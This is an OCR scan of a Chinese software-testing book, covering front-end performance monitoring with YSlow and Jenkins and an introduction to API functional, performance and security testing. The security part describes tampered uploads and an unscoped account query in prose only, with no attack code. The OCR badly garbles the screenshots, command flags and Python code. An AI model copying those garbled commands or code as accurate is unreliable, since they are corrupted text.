Add Expires headers F(0%) | Avoid Emoty Image src A (100%) [ES | 
目 Compress components with gzip D (67%) le 目 Pucssatop B (89%) si 
目 PutJavaScript_at bottom E (50%) ] Avoud CSS expressions B (82%) ii 
目 Make JavaScript and CSS extemal =F (0%) 1 ] Reduce DNS lookups F (0%) | 
已 Mn B (80%) [ES 目 Aid URL redirects A (100%) [| 
Remove duplicate JavaScript and CSS A (100%) HN Conigure entity tags (ETags) A (100%) EE 
加 Make AJAX cacheable A (100%) NE © Use GET for AJAX requests A (to0%) = 
目 Reduce the number of DOM elements = A (100%) NN © Avoid HTTP 404 (No Found) enor A (to0%) [== 
加 Reduce cookie size A (100%) EE El Use cookie free domains A (100%) [= 
Avoid AlphalmageLoader flter A(100%) NEE EE Do not scale images in HIML B (85%) ld 
由 Make favicon small and cacheable cA (100%) 一 


图 8.27 ShowSlow 详细 结果 
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二 | 


如 果 你 想 做 得 更 加 自动 化 一 点 ,还 可 以 进行 这 样 的 改进 : 设置 YSlow 
为 每 打开 一 个 页 面 就 自动 运行 测试 ,然后 使 用 脚本 来 完成 页 面 的 遍历 访问 ， 
最 后 把 测试 数据 上 报 给 ShowSlow 进行 汇总 显示 ,这 样 就 更 完美 了 。 

更 多 用 法 可 以 参考 ShowSlow 官网 http://www. showslow. com。 


8.4.8 基于 YSlow 和 Jenkins 的 前 端 性 能 
测试 监控 体系 


在 8.4.7 节 中 我 们 讲解 了 如 何 基 于 ShowSlow 和 YSlow 来 构建 前 端 性 
能 监控 体系 ,但 并 未 和 现在 非常 流行 的 持续 集成 做 整合 。 本 节 将 讲解 如 何 基 
于 YSlow 和 Jenkins 来 进行 前 端 性 能 的 持续 集成 。 这 里 涉及 以 下 几 个 概念 。 

。 PhantomJS: 一 个 基于 WebKit 的 服务 器 端 JavaScript API。 它 不 需 

要 浏览 器 支持 就 可 以 访问 Web 系统 。 原 生 支 持 各 种 Web 标准 。 
PhantomJS 可 以 用 于 页 面 自动 化 网络 监测 、 网 页 截屏 以 及 无 界面 测 
试 等 。 

。 YSlow. js: 一 个 通过 命令 行 方式 来 测试 指定 URL 页 面 的 性 能 

JavaScript。 同 时 支持 利用 PhantomJS 来 产生 TAP 和 JUnit 格式 的 
报告 。 
Jenkins: 现在 非常 流行 的 持续 集成 软件 ,能 实施 监控 集成 中 存在 的 
错误 ,提供 详细 的 日 志文 件 和 提醒 功能 ,还 能 用 图 表 的 形式 形象 地 展 
示 项 目 构建 的 趋势 和 稳定 性 。 它 的 插件 库 也 非常 丰富 ,我 们 可 以 利 
用 它 的 插件 库 来 轻松 完成 很 多 事情 。 

了 解 了 这 些 基 础 知识 之 后 ,我 们 来 讲解 下 如 何 构建 这 样 的 一 个 持续 集 
成 监控 系统 。 大 致 实现 步 又 如 下 。 

(1) 安装 好 JDK。 

(2) 安装 好 Jenkins( 环 境 为 Linux) 。 

(3) 安装 PhantomJS ,非常 简单 ,请 查看 官网 http://phantomjs. org。 

(4) 安装 YSlow.js, 只 要 下 载 这 个 压缩 包 并 解压 ,就 直接 可 以 用 , 它 就 
是 一 个 JavaScript 文件 ,不 需要 额外 的 配置 。 

(5) 进入 Jenkins 创建 一 个 自由 风格 的 Job ,在 构建 处 输入 如 下 命令 : 


phantomjs /tmp/yslow. js — i grade -threshold "B" —f junit http://xqtesting. 
blog. 51cto. com > yslow. xml 
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上 述 命令 的 解释 如 下 。 
。 -i grade, 展 示 打 分 信息 。 
-threshold“B”, 指 定 可 以 接受 的 最 低 分 ,也 就 是 设 定 一 个 阔 值 。 
-fjunit, 输 出 为 JUnit 格式 的 报告 ,如 果 想 输出 TAP 格式 的 则 是 
-ftap。 
http://xqtesting. blog. 51cto. com, 被 测 的 URL 地 址 。 

(6) 在 构建 后 操作 步骤 处 ,选择 Publish JUnit test result report。 

(7) 执行 构建 。 

(8) 查看 结果 ,如 图 8. 28 所 示 。 可 以 看 到 测试 结果 以 及 给 出 的 建议 ,如 
果 想 看 更 加 有 具体 的 信息 , 单 击 Test Name 中 的 数据 即 可 。 


Test Result 
一 一 


Badd descn 
All Failed Tests 
Duration Age 
All Tests 
son Duration Fail (mm Skip (dm Pass (dm Total (dm) 
国 21 421 24 +24 


图 8.28 Test Result 


其 实在 上 面 用 到 的 PhantomJS 也 比较 强大 ,你 可 以 单独 使 用 它 来 编写 
代码 进行 各 种 测试 ,详细 的 用 法 大 家 可 以 查看 官网 ,有 非常 全 面 的 文档 和 示 
例 , 地 址 为 http://phantomjs. org。 


8.4.9 其 他 前 端 性 能 测试 平台 


除了 上 面 提 到 的 前 端 性 能 测试 工具 外 ,还 有 一 类 就 是 专业 的 检测 平台 ， 
这 类 平台 的 诞生 对 于 小 白 朋 友 来 说 是 一 大 福音 , 它 可 以 较 快 地 完成 测试 并 
给 出 报告 ,入 门 门槛 较 低 。 不 过 大 家 也 要 明白 ,任何 工具 都 只 是 一 种 辅助 的 
手段 而 已 ,不 能 完全 依赖 它们 ,还 是 需要 扩展 我 们 自己 的 知识 体系 。 下 面 介 
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绍 几 个 好 用 的 检测 平台 。 
1. GTmetrix 


在 浏览 器 地 址 栏 中 输入 地 址 http://gtmetrix. com 并 访问 ,之 后 在 输入 
框 中 输入 你 要 测试 的 URL 地 址 , 单 击 Aanlyze 按钮 之 后 等 待 片 刻 就 可 以 


看 到 测试 结果 了 ,可 惜 是 英文 ,估计 不 少 小 白 朋 友 都 不 会 用 的 ,如 图 8. 29 
所 示 。 


Latest Performance Report for: 
http://xqtesting.blog.51cto.com/ 

Report generated: Sat, Jun 18, 2016, 5-50 AM -0700 Looks like he 
Test Server Region: sl Var 


Why shouldluse a 
usng: 全 


Performance Scores 


Page Details 
PageSpeed Score YSlow Score Page Load Time Total Page Sze Requests 
B(87%)* D (69%)™ lODSss i975KBa BD 


图 8.29 GTmetrix 测试 结果 


2. OneAPM Browser Insight 


该 平台 提供 云端 数据 分 析 调 试 工具 ,基于 HTTP 协议 和 标准 W3C 接口 
实现 真实 用 户 请 求 响应 数据 可 视 化 工具 ,地 址 为 http://www. oneapm. 
comy/lp/ybihttpwatch ,实际 效果 如 图 8. 30 所 示 。 


EG 总 览 
访问 域名 

a 任 这 区 
首 忆 时 间 


图 8.30 OneAPM Browser Insight 测试 结果 
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3. WebPageTest 


WebPageTest 是 google 开源 项 目 , 通 过 它 你 可 以 详细 掌握 网 站 加 载 过 程 
中 的 瀑布 流 、 性 能 得 分 .元 素 分 布 . 视 图 分 析 等 数据 。 更 多 介绍 见 官网 ,地 址 为 
http://www. webpagetest. org/。 以 http://xqtesting. sxl. cn 在 Android 
和 iOS 上 的 表现 为 例 , 测 试 结果 如 图 8. 31 所 示 , 可 以 看 到 每 个 阶段 的 数据 ， 
单 击 具体 的 图 标 可 以 看 到 更 加 详细 的 数据 。 


Document Complete 
Time Requests Bytesin 


Fully Loaded 


Load Time FirstByte Start Render DOM Elements Time Requests BytesIn Cost 


First View 14387s 0.859s 0000s 527 14387s 23 1378 KB | 16.399s 27 1.544 KB 5555- 
RepeatView 8.318s 2.637s 0.000s 527 8318s 4 2KB 8561s 7 3KB 
Waterfall Screen Shot 
xqtesting sxl cn 器 
First View 一 | 小 强 软件 测试 & 挨 
(14.387s) | 
| 踢 脱 口 秀 
Timeline (Mew) 
Processing Breakdown 悦 为 不 入 天 六 必 须 天 条 励 
MH. Ll 


sqtesting sxlcn OO: 


es 2 小 强 软件 测试 & 次 
(st | ' 踢 脱 口 秀 
Timeline View) 请 | 工 ， Ba be 


fn 


图 8.31 WebPageTest 测试 结果 
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8.5 真实 网 站 的 前 端 性 能 测试 


本 节 内 容 我 们 将 以 一 个 真实 的 线 上 存在 的 网 站 进行 前 端 性 能 测试 ,分 
别 从 Web 端 和 移动 端 来 看 需要 进行 怎样 的 优化 ,顺便 也 能 把 前 面 的 知识 复 
二 = 


1. 测试 目的 


通过 主要 功能 页 面 的 前 端 性 能 测试 ,从 前 端 分 析 引 起 页 面 响应 缓慢 的 
原因 ,并 根据 优化 建议 对 其 进行 优化 ,提升 前 端 性 能 ,从 而 达到 提升 系统 整 
体 性 能 的 目的 。 


2. 测试 范围 


主要 对 用 户 常用 的 页 面 进行 测试 ,至 少 包括 首页 、 各 分 类 页 .搜索 结果 
页 等 ,此 处 我 们 只 以 首页 为 例 进行 测试 和 分 析 。 


3. 测试 方法 


利用 YSlow、PageSpeed 等 工具 进行 测试 , 因 该 网 站 是 第 三 方 的 ,所 以 无 
法 进行 埋 点 测试 。 其 他 的 测试 方法 大 家 可 自行 练习 。 


4. Web 端 测试 结果 分 析 


通过 YSlow、PageSpeed 等 工具 的 测试 后 ,综合 结果 并 不 算 好 ,属于 较 差 
的 情况 ,其 中 YSlow 给 出 的 评级 是 F( 最 差 ) ,具体 结果 分 析 如 下 。 
存在 较 多 的 HTTP 请 求 。 其 中 有 16 个 external JavaScript scripts， 
7 个 external stylesheets,18 个 external background images, 这 些 都 
可 以 尝试 进行 合并 。 
未 使 用 CDN。 
未 指定 失效 时 间 。 部 分 CSS、JS 和 图 片 等 静态 资源 未 指定 失效 时 间 ， 
尤其 像 logo 这 样 的 不 经 常 变化 的 图 片 应 该 指定 Expires headers, 可 
指示 浏览 器 从 本 地 磁盘 中 加 载 以 前 下 载 的 资源 ,而 不 是 通过 网 络 
加 载 。 
未 启用 压缩 。 部 分 CSS JS 和 图 片 等 静态 资源 未 启用 压缩 ,为 这 些 资 
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源 启 用 压缩 可 将 其 传送 大 小 减少 135. 2KB (68%)。 
。 未 优化 图 片 。 适 当地 设置 图 片 的 格式 并 进行 压缩 可 以 节省 大 量 的 数 
据 字 节 空间 ,尤其 是 对 类 似 “ 客 服 电话 . jpg” 这 样 的 图 片 。 对 这 些 图 
片 资 源 进行 优化 后 可 将 其 大 小 减少 282. 1KB (47%)。 
。 不 要 在 HTML 中 进行 图 片 缩放 。 本 网 站 有 11 个 图 片 进行 了 缩放 。 
YSlow 给 出 的 建议 是 : 你 希望 展现 多 大 的 图 片 ,原始 的 图 片 大 小 就 
应 该 是 多 大 ,图 片 不 要 比 期 望 的 尺寸 小 ,也 不 要 比 需 要 的 尺寸 大 。 
例如 ,如 果 我 们 要 求 显示 一 个 分 辨 率 为 200X200 的 图 片 ,而 我 们 的 原始 
图 片 分 辩 率 只 有 100X100, 访 问 的 时 候 浏 览 器 需要 等 待 图 片 完全 下 载 完 毕 
之 后 才 知 道 图 片 的 实际 尺寸 ,然后 才 会 判断 图 片 是 否 满足 预定 的 尺寸 大 小 ， 
如 果 大 了 就 要 缩小 ,如 果 小 了 就 要 放大 。 换 句 话 说 : 图 片 下 载 完 毕 之 前 , 浏 
览 器 无 法 正确 给 出 判断 ,而 且 图 片 的 清晰 度 也 可 能 受到 影响 。 


5. 移动 端 测试 结果 分 析 


移动 端 发 现 的 问题 以 及 需要 优化 的 资源 同 “4. Web 端 测试 结果 分 析 ” 中 
的 内 容 , 除 此 之 外 ,还 有 如 下 内 容 需要 进行 优化 。 
。 字体 大 小 无 法 自 适应 ,在 移动 端 不 清晰 。 

。 移动 端的 页 面 没有 自 适应 ,导致 用 户 

需要 水 平 滚动 屏幕 ,如 图 8. 32 所 示 。 

。 页 面 中 并 未 设置 视 口 。 该 网 页 在 移 

动 设备 上 的 呈现 尺寸 将 与 在 桌面 浏 

览 器 中 一 样 ,因此 系统 会 将 其 缩小 到 

适合 在 移动 屏幕 上 显示 的 尺寸 。 可 以 

在 Header 区 增加 类 似 如 下 的 代码 : 

< meta name= viewport content = 

"width= device-width, initial-scale = 


~ 


Ls 
在 实际 应 用 中 还 要 注意 优先 级 的 排序 ， 
在 时 间 充 裕 时 ,可 以 优化 所 有 内 容 ; 当时 间 
紧急 时 ,可 以 通过 优化 优先 级 高 且 属 于 公共 
资源 的 元 素来 缩短 前 端 页 面 的 响应 时 间 。 
至 于 需要 具体 优化 的 URL ,因为 篇 幅 有 
限 , 这 里 就 没有 一 一 列 出 , 感 兴趣 的 朋友 可 图 8.32 移动 端 页 面 
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以 自行 去 测试 下 这 个 网 站 ,地 址 为 http://www. islib. com。 


8.6 本章 小 结 


本 章 从 前 端 性 能 的 优化 方法 、 工 具 等 方面 进行 了 较为 全 面 地 讲解 ,也 实 
现 了 一 个 基础 前 端 监控 系统 的 搭建 ,这 些 都 是 大 家 以 后 可 以 继续 完善 的 ,而 
且 也 可 以 较 好 地 应 用 到 企业 中 。 从 测试 的 角度 不 断 推进 前 端 性 能 的 进步 ， 
难道 这 不 就 是 我 们 的 价值 吗 ? 

如 果 想 把 前 端的 性 能 测试 和 监控 做 得 更 加 专业 和 完善 ,可 以 去 参考 学 
习 类 似 PhantomJS、casperjs、Phantomas 等 更 加 灵活 的 工具 ,不 过 需要 测试 
人 员 有 代码 能 力 才 行 ,不 然 最 好 和 前 端 人 员 配 合 来 完成 。 

从 个 人 的 实践 经 验 来 看 ,前 端 性 能 的 优化 效果 还 是 比较 明显 的 ,当时 根 
据 我 给 出 的 前 端 性 能 报告 进行 优化 之 后 ,性 能 确实 提升 了 不 少 , 某 网 站 在 大 
促 时 候 的 前 端 性 能 表现 也 非常 优秀 。 所 以 ,我 建议 大 家 有 机 会 可 以 尝试 一 
下 ,这 也 是 体现 自己 价值 的 一 种 途径 ,当然 在 这 个 过 程 中 更 重要 的 是 你 可 以 
学 到 很 多 前 端 和 运 维 的 知识 。 


玩 转 接口 测试 


接口 测试 是 什么 ?接口 测试 怎么 做 ? 这 样 的 问题 我 几乎 每 天 都 会 被 问 
几 十 次 ,可 见 很 多 朋友 对 于 接口 测试 并 不 是 十 分 了 解 ,而 接口 测试 又 是 现在 
互联 网 产品 测试 中 的 重 中 之 重 , 所 以 必须 学 习 并 掌握 它 。 本 章 我 们 力争 通 
俗 化 地 揭 开 接口 测试 的 面纱 ,让 大 家 看 到 它 的 本 质 。 

特别 需要 指出 ,在 本 书 的 其 他 章节 也 讲解 了 接口 测试 的 相关 内 容 , 如 
LoadRunner、JMeter、SoapUI 等 ,所 以 想 掌 握 接 口 测 试 最 好 通读 全 书 。 


9.1 接口 测试 是 什么 


接口 有 时 候 也 称 为 API, 不 论 哪 种 叫 法 ,其 本 质 都 是 接口 ,就 好 像 人 的 
全 名 和 小 名 ,本 质 上 都 代表 这 个 人 。 接 口 测试 是 什么 ? 下 面 给 出 两 种 
解释 。 

不 通俗 的 解释 : 发 送 一 个 请 求 到 服务 器 端 ,服务 器 端 处 理 完毕 之 后 返回 
一 个 响应 ,我 们 对 响应 进行 验证 ,判断 是 否 符合 预期 结果 。 至 于 服务 器 端 怎 
么 处 理 这 个 请 求 ,我 们 并 不 关心 。 我 们 只 关心 输入 和 输出 即 可 ,如 图 9. 1 
所 示 。 

通俗 的 解释 : 接口 和 计算 机 的 USB 接口 一 样 ,你 不 需要 关心 内 部 是 怎 
么 实现 的 ,你 只 需要 知道 这 个 接口 在 哪 ,怎么 用 , 插 上 能 干什么 即 可 。 例 如 ， 
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GET/POST 请 求 
发 出 请 求 “| 服务 器 站 
检验 数据 “| 处 理 请 求 
响应 头 
响应 数据 
f"error_code":0,"mseg":" 成 功 "} /s?wd= 测 试 帮 有 日 记 


图 9.1 请 求 和 响应 


要 验证 这 个 USB 接口 能 不 能 用 ,就 插入 鼠标 ,如 果 鼠 标 可 以 正常 工作 说 明 该 
USB 接口 可 以 用 ,我 们 并 不 关心 USB 接口 的 实现 逻辑 。 同 理 ,接口 测试 也 
是 一 样 的 。 


9.2 接口 文档 规范 


接口 测试 进行 的 前 提 是 一 定 要 有 接口 文档 ,我 们 要 通过 文档 获取 接口 
的 说 明 .请 求 参数 .响应 参数 以 及 一 些 依 赖 关 系 。 一 般 公 司 都 会 有 接口 文 
档 , 毕 竞 开发 人 员 也 要 做 接口 的 维护 ,如 果 没 有 文档 以 后 维护 起 来 会 比较 麻 
烦 。 当 然 有 的 公司 确实 没有 接口 文档 , 那 测 试 工程 师 只 能 自己 通过 抓 包 来 
分 析 请 求 和 响应 了 。 

规范 的 接口 文档 不 管 是 对 于 开发 还 是 测试 都 是 有 百 利 而 无 一 害 的 ,一 
般 都 包括 接口 名 、 接 口 描述 、 接 口 地 址 、 请 求 方式 、 请 求 参 数 和 格式 、 响 应 参 
数 和 格式 等 ,具体 示例 如 下 。 

。 接口 名 : mLogin。 

。 接口 描述 : 移动 端 登录 接口 。 
接口 地 址 : http://xxx/mLogin。 
请 求 方式 : POST。 
支持 格式 : JSON。 
请 求 参数 
username 必 填 ,类 型 string ,用户 名 。 
pwd 必 填 ,类 型 string, 密 人 码 。 
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。 响应 参数 : 
errorCode 状态 码 0 表示 成 功 ; 1 表示 失败 。 
username 用 户 名 。 
这 里 只 是 简单 举 了 个 例子 ,实际 需要 哪些 描述 还 是 要 根据 实际 情况 做 
调整 的 。 
接口 文档 的 维护 也 是 一 件 让 人 头疼 的 事情 ,尤其 是 接口 数量 比较 多 的 
时 候 。 我 见 过 的 维护 方法 有 如 下 几 种 。 
。 Word 或 者 Excel 维护 。 不 推荐 , 量 小 的 时 候 还 可 以 , 量 大 的 时 候 太 
困难 。 
。 Wiki 维护 。 推 荐 ,相对 来 说 比较 好 管理 。 
。 接口 文档 维护 工具 。 如 apizza apiview、 小 么 鸡 等 。 图 9. 2 所 示 为 小 


的 站 
么 鸡 接口 文档 维护 工具 。 
基本 信息 
只 文档 接口 名 称 : 发 送 ISON 接口 地 址 ; http://www.xiaoyaojicn/test/testjson 
请 求 方法 : POST 数据 类 型: JSON 响应 类 型 :JSON 
= 接口 测试 
请 求 矢 数 
» 测试 html 
参数 名称 是 否 必 须 类 于 默认 值 搓 述 
}》 JSON 测 起 
string true string 
XML 测试 
number true number 
TXT 测试 
bool true boole 
BINARY 测 试 
object false object 
上 测试 图 片 
b1 true string 
测试 上 传 
bb true string 


图 9.2 接口 文档 维护 工具 


9.3 接口 测试 怎么 做 


回 到 本 章 开 始 的 问题 : 接口 测试 怎么 做 ? 这 是 一 个 比较 大 的 话题 ， 
很 难得 到 全 面 的 回答 。 因 为 接口 测试 可 以 从 功能 .性 能 、 安 全 等 多 方面 
进行 考虑 ,所 以 你 提问 时 需 明 确 要 对 接口 进行 哪 方面 的 测试 ,这 样 别人 
才 可 以 有 针对 性 地 回答 。 有 时 候 提 问 也 是 需要 艺术 的 。 

接 下 来 就 来 看 看 面 对 接口 的 功能 、 性 能 、 安 全 测试 应 该 怎么 人 手 。 
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9.3.1 接口 功能 测试 


接口 功能 测试 和 业务 功能 测试 (就 是 我 们 经 常 做 的 页 面 测试 ) 的 不 同 点 
是 接口 功能 测试 验证 请 求 (人参 ) 和 响应 (出 参 ) 是 否 正确 ,而 业务 功能 测试 
则 通过 页 面 来 验证 。 

它们 的 相同 点 是 主要 判断 各 种 情况 下 是 否 能 够 正确 处 理 并 返回 。 比 
如 : 登录 接口 ,在 用 户 名 和 密码 正确 、 用 户 名 或 者 密码 错误 、 用 户 名 为 空 等 不 
同 的 情况 下 是 否 能 返回 预期 结果 。 

了 解 了 接口 功能 测试 是 干什么 的 之 后 ,再 来 看 看 怎么 去 做 。 一 般 情况 
下 可 以 通过 工具 或 者 编写 代码 来 实现 。 常 用 的 工具 有 Postman、 火 狐 插件 、 
HttpRequest、SoapUI、JMeter、LoadRunner 等 ,本 书 基本 都 有 涉及 ,大 家 可 
以 自行 查阅 ,也 可 以 通过 编写 Java 或 者 Python 代码 来 进行 测试 ,不 过 这 个 
对 测试 工程 师 的 代码 能 力 要 求 较 高 。 

为 了 让 大 家 更 容易 理解 ,这 里 我 们 以 老 黄历 接口 为 例 , 具 体 的 接口 描述 
见 https://www.juhe. cn/docs/api/id/65。 此 处 使 用 JMeter 来 完成 接口 功 
能 测试 。 根 据 接口 的 描述 我 们 先进 行 用 例 的 设计 ,大 致 的 测试 用 例如 下 : 

。 date 日 期 格式 正确 ,如 2018-01-01。 

。 date 日 期 格式 不 正确 ,如 201811。 

。 date 日 期 为 空 。 

完成 用 例 设 计 之 后 就 可 以 进行 脚本 的 编写 了 ,在 JMeter 中 整体 的 脚本 
结构 如 图 9. 3 所 示 。 


大 测试 计划 


人 m 应 朵 言 


上 察看 结果 树 
9 2 老 黄历 接口 -date 格 式 不 正确 
响应 断言 
ak 察看 结果 树 
9- z 史 老 黄历 接口 -date 为 空 
全 响应 断言 
4 察看 结果 树 


图 9.3 脚本 结构 


我 们 以 date 格式 正确 的 情况 为 例 进行 讲解 ,其 余 情 况 只 需要 在 date 参 
数 和 响应 断言 里 做 修改 即 可 。 
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线程 组 设置 如 图 9.4 所 示 。 
线程 组 
Se 贱 程 组 
RE 


加 弘 缤 口 StartNextThread Loop 口 停止 线程 品 停止 测试 〇 Stop TestNow 


线程 属性 
线程 数 : [1 
Ramp-Up Period (in secondsF |1 
傅 环 次 玫 器 永远 |1 
图 9.4 线程 组 
请 求 参数 如 图 9. 5 所 示 。 


FTpig II 
Bm mzim | 
注释 : 


atie | Kovanced 

WeblB 秀 吕 

协议 : ] 服务 器 名 称 或 Ip: vjuhe on 庙 口 9 
HTTP 请 求 


ste rE ste ome 


ansen meren [uekeepAive 四] Use muhiparyiom data forPOST EE) Browercompatible eaders 


响应 断言 如 图 9. 6 所 示 。 


响应 断言 


| 
注释 : 


Apply to: 


© Main sample and sub-samples ® Main sample only ©O Sub-samples only OuMetervarave | | 
ee 


口 响应 代码 口 响应 信息 
© Request Headers 口 URL 样 本 © Document (text) 
模式 匹配 规则 


加 包括 加 匹配 口 Equals 〇 Substring 器 否 器 或 者 


要 铀 ii 模式 
| 1 “error_code™:@ 


图 9.6 响应 断言 
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[ae ] teopspay On 口 俊才 横 洪 口 Successes | _Contoure 


] Some wre ree | Searcn | reset 


PE 

{eason" “successed" resulffid 2853" yangf "2018.01.01" "ying 丁 西 ( 玖 ) 年 十 一 月 十 五 " "wuxing… 长 流水 执 执 位 "chongsha"" 冲 糖 (本 京 ) 大 东 ""ba" 全 不 词 
不计 和 人 训 * .hear- 富 其 作 "Wr- 录 记 法 开 名 太守 人 要 区 邓 折 俏 直上 坚信 上 水 袜 末 条 待人 所 安生 网 摘 是 几 儿 估 
木 进入 口 放水 "xiongshen'"" 却 租 小 耗 复 日 重 日 元 起 "中 “出行 安村 人 坟 开 市 "] "error_code" 人 0) 


图 9.7 date 格式 正确 的 执行 结果 


其 余 的 用 例 测 试 与 此 类 似 。 在 测试 过 程 中 我 们 发 现 , 当 date 格式 不 正 
确 的 时 候 ( 输 入 201811) 返 回 的 error_code 也 是 0, 但 result 内 容 为 空 ,这样 
肯定 是 不 合理 的 ,这 算是 一 个 Bug, 如 图 9. 8 所 示 , 应 该 反馈 给 开发 人 员 解 
决 。 当 date 格式 不 正确 的 时 候 应 该 返回 一 个 特定 的 error_code。 


察看 结果 树 
名 称 : 察看 结果 树 
注释 : 
| 所 有 数据 写 入 一 个 文件 
文件 名 | 
Search: | | 回 case sensitive 回 Reguar exp. 
请 求 | 响应 数据 
了 {"reason'-"successed","result nulL"error_ code"0} 


图 9.8 date 格式 不 正确 的 执行 结果 


这 些 执 行 完成 之 后 就 可 以 编写 一 份 接口 功能 测试 的 报告 了 ,内 容 格 式 
并 没有 什么 固定 模式 ,可 以 参考 业务 的 功能 测试 报告 进行 修改 。 


9.3.2 接口 性 能 测试 


接口 性 能 测试 和 接口 的 功能 测试 不 同 , 性 能 测试 是 进行 正 向 用 例 的 测 
试 , 也 就 是 正确 的 操作 ,比如 : 登录 接口 的 性 能 测试 ,肯定 是 测试 输入 正确 的 
用 户 名 和 密码 这 样 的 用 例 , 不 会 测试 反 向 的 用 例 。 

接口 性 能 测试 更 多 通过 工具 来 模拟 实现 , 如 JMeter、 LoadRunner、 
Apache ab、Gatling、APM 等 。 

在 本 书 第 2 章 中 已 经 讲解 过 如 何 进行 性 能 测试 ,此 处 我 们 只 针对 要 点 做 
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一 些 提 醒 。 

并 不 是 所 有 接口 都 需要 做 性 能 测试 ,一 般 重要 的 才 会 做 ,例如 , 某 接 
口 一 旦 崩溃 会 影响 整体 业务 。 

接口 性 能 测试 和 业务 性 能 测试 一 样 ,都 有 单 接口 和 混合 接口 的 用 例 
设计 < 

接口 性 能 测试 的 流程 .方法 和 业务 性 能 测试 并 没有 本 质 区 别 ,基本 是 
一 样 的 。 

脚本 中 只 对 必要 的 返回 做 检查 。 

结果 中 一 般 重点 关注 接口 的 响应 时 间 、TPS 以 及 服务 器 端的 资源 利 
用 率 。 

分 享 一 点 小 技巧 给 大 家 。 我 们 经 常会 问 接口 的 响应 时 间 在 多 少 秒 或 多 
少 毫秒 内 是 可 以 接受 的 。 这 个 问题 其 实 并 没有 固定 的 答案 ,取决 于 你 的 业 
务 特点 是 什么 。 一 般 我 们 可 以 通过 脚本 来 分 析 当 前 接口 的 响应 时 间 , 这 样 
方便 我 们 参考 优化 。 基 本 原理 是 对 日 志 进 行 统计 分 析 , 我 们 以 Nginx 日 志 
为 例 ,具体 脚本 如 下 。 
统计 响应 时 间 大 于 3s 的 接口 汇总 。 


cat /opt/nginx logs/xxx.1log | awk ~F \\|I\\|''{if($7>3) print $8}'| 


sort | uniq ~c | sort ~ nr 
统计 响应 时 间 大 于 3s 的 接口 详情 。 


cat /opt/nginx_logs/xxx.1log | awk —F \\|\\|''{if($7>3) print $7,$8} 
'| sort ~k1 -nr 


9.3.3 接口 安全 测试 


有 了 接口 功能 性 能 测试 方面 的 知识 做 铺垫 .对 于 接口 安全 测试 大 家 就 
比较 好 理解 了 。 在 第 11 章 “ 大 话 安 全 测试 ”中 介绍 的 是 通过 页 面 攻击 或 是 抓 
包 请 求 进行 算 改 攻击 ,其 实 接口 安全 测试 也 是 如 此 ,只 不 过 对 象 变 成 了 接口 
而 已 ,方法 、 思 想 都 是 一 样 的 。 

(1) 某 个 图 片上 传 接口 ,大致 测试 步骤 如 下 。 

。 利用 工具 (JMeter 或 者 Fiddler) 发 送 算 改 的 数据 到 服务 器 端 。 例 如 ， 

本 图 片上 传 接口 支持 大 小 为 50K. 格 式 为 JPG 的 ,我 们 修改 为 违反 
规则 的 数据 。 
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。 提交 之 后 我 们 发 现成 功 进 入 数据 库 , 如 图 9. 9 所 示 。 这 个 漏洞 从 安 
全 性 角度 来 看 影响 不 太 大 ,只 是 作为 演示 给 大 家 讲解 。 


creatveid 7 aditemid aditem type aditem_name aditem_name engliaditem value 
5638 。 900001156 3 flash flash httpy//' = = sedb4ad7544b6a51e62b9ba0cbcod gif 
5639 。 900001166 23 3 flash flash Mtp//ed183e7179603.cdn sohucs. com/994fce od bebe2bbco0eceadcoe wf 


图 9.9 数据 库 记 录 


(2) 搜索 接口 ,大 致 测试 步骤 如 下 。 

。 正常 情况 下 查询 应 该 是 查询 本 账户 的 信息 且 要 限制 范围 ,不 能 查询 
到 其 他 账户 的 信息 。 利 用 工具 (JMeter 或 者 Fiddler) 发 送 算 改 的 数 
据 ( 修 改 aid 为 非 本 账户 的 ) 到 服务 器 端 。 

。 提交 之 后 我 们 发 现 居 然 可 以 查 出 来 其 他 账户 的 信息 ,原来 是 开发 人 
员 在 处 理 的 时 候 没 有 作 范 围 限 制 , 这 个 就 是 比较 大 的 问题 了 。 


9.4 Python 十 Unittest 十 HTMLTestRunner 完成 接 
口 功 能 自动 化 测试 


本 节 分 享 如 何 利用 Python 语言 来 编写 一 个 接口 功能 自动 化 测试 的 简 
易 框架 ,仍然 以 老 黄历 接口 为 例 。 
首先 ,这 里 会 用 到 的 技术 有 Python 3、Unittest HTMLTestRunner。 下 
面 分 别 简单 解释 。 
。 之 所 以 没有 用 Python 2, 是 因为 Python 3 已 经 是 大 势 所 趋 , 且 
Python 2 未 来 将 不 再 维护 ,更 重要 的 是 Python 3 解决 了 中 文 的 问 
题 ,很 多 被 乱码 折磨 的 头疼 的 朋友 找到 了 良药 。 
。 Unittest 是 单元 测试 框架 ,可 以 很 好 地 组 合 测试 用 例 测试 用 例 集 。 
。 HTMLTestRunner 是 一 个 HTML 形式 的 报告 ,可 以 快速 方便 地 产 
出 测试 报告 。 
其 次 ,环境 的 搭建 比较 简单 ,只 需要 三 步 。 
。 安装 Python 3, 可 以 从 官网 下 载 (地 址 为 https://www. python. org/ 
downloads) “傻瓜 式 ? 安 装 即 可 。 
。 Unittest 不 需要 安装 ,在 使 用 的 时 候 直接 import unittest 即 可 。 
。 HTMLTestRunner 可 以 通过 改版 说 明 中 的 微 信 公 众 号 获取 ,之 后 复 
制 到 Python 安装 目录 的 Lib 目录 下 即 可 。 在 使 用 的 时 候 直 接 
import HTMLTestRunner 即 可 。 


性 能 、 自 动 化 及 团队 管理 “7 


-19 大 话 软 件 测试 


然后 ,我 们 来 看 脚本 的 设计 。 因 为 并 没有 进行 公共 函数 的 提取 以 及 外 
部 文件 等 ,所 以 只 要 一 个 脚本 文件 就 可 以 了 ,实现 逻辑 如 图 9. 10 所 示 。 


HTMLTest 


request 库 unittest request 库 Runner 
发 送 请 求 组 合用 例 接收 响应 产生 报告 


图 9. 10 实现 逻辑 


最 后 我 们 看 下 代码 ,对 代码 的 详细 讲解 见 注 释 。 代 码 可 以 通过 关注 前 
言 中 的 微 信 公 众 号 之 后 ,在 对 话 框 中 回复 “大 话 软 件 测试 "关键 字 进 行 
获取 。 


#3 引信 unittest 

import unittest 

并 引入 报告 模板 

import HTMLTestRunner 
并 引入 requests 请 求 库 
import requests 

并 引入 json 处 理 


import json 


并 测试 类 ,继承 了 unittest. TestCase 
class TestLHL(unittest. TestCase) : 
# 用 于 初始 化 操作 ,可 选 
def setUp( self): 
# 地址 前 缀 
self. base url = 'http://v. juhe.cn' 
并 设置 请 求 头 信息 


self. headers = { 'Content - Type': 'application/json'} 


# 用 于 结束 之 后 的 清理 工作 , 可 选 
def tearDown( self): 
pass 


# @unittest. skip(" 这 句 如 果 注 释 掉 就 会 跳 过 此 用 例 不 执行 ") 
